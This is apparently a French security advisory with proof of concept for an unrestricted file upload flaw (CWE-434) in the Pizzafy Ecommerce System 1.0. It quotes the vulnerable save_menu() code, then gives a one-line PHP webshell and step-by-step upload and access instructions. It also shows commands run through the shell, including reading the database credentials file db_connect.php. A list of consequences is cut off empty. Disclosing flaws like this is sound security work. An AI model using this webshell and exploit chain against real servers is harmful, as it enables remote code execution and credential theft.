
| Champ | Valeur |
|---|---|
| Éditeur | SourceCodester |
| URL de l'éditeur | https://www.sourcecodester.com |
| Produit | Pizzafy Ecommerce System utilisant PHP et MySQL |
| URL du produit | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| Version | 1.0 |
| Vulnérabilité | Téléversement de fichier sans restriction → Exécution de code à distance |
| CWE | CWE-434 |
| Score CVSSv3 | 7.8 (Élevé) |
| Vecteur d'attaque | Réseau |
| Authentification requise | Oui (Administrateur) |
| Interaction utilisateur | Aucune |
| Chercheur | Imad Alvi |
| Date | 2026-04-12 |
Fichier : Pizzafy/admin/admin_class_novo.php → fonction save_menu()
Paramètre : img (FICHIER)
Chemin de téléversement : Pizzafy/assets/img/
La fonction save_menu() du système de commerce électronique Pizzafy 1.0 gère les téléversements d'images pour les éléments de menu sans effectuer aucune validation du type de fichier. L'application récupère l'extension du fichier à l'aide de pathinfo(), mais ne vérifie ni ne restreint jamais les types de fichiers autorisés avant de déplacer le fichier téléversé vers le répertoire assets/img/ accessible via le web. Un administrateur authentifié peut téléverser un webshell PHP déguisé en image de menu, puis y accéder directement via le navigateur pour obtenir une exécution de code à distance sur le serveur.
Code vulnérable dans admin_class_novo.php :
function save_menu(){
extract($_POST);
// ...
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
$data .= ", img_path = '$fname' ";
}
// No extension check, no MIME type check
}
Créez un fichier nommé shell_web2.php avec le contenu suivant :
<?php echo shell_exec($_GET['cmd']); ?>
Connectez-vous en tant qu'administrateur et naviguez vers :
http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu
Remplissez le formulaire de menu avec des valeurs valides et sélectionnez shell_web2.php comme fichier image. Cliquez sur Save.
Le shell est désormais répertorié comme un élément de menu sur la page destinée aux clients.
Naviguez vers le répertoire assets — le listage des répertoires est activé (CWE-548) :
http://192.168.0.9/pizzafy/Pizzafy/assets/img/
Le shell PHP téléversé est visible dans le listage des répertoires.
Accédez directement au shell téléversé et transmettez des commandes système via le paramètre cmd :
http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami
Réponse — commande système exécutée sur le serveur :
desktop-g1i9np3\dell
?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php
Un administrateur authentifié peut :
Le répertoire assets/img/ a le listage des répertoires activé, ce qui permet aux utilisateurs non authentifiés de parcourir tous les fichiers téléversés, y compris le webshell. Cela aggrave la gravité de la vulnérabilité de téléversement de fichier.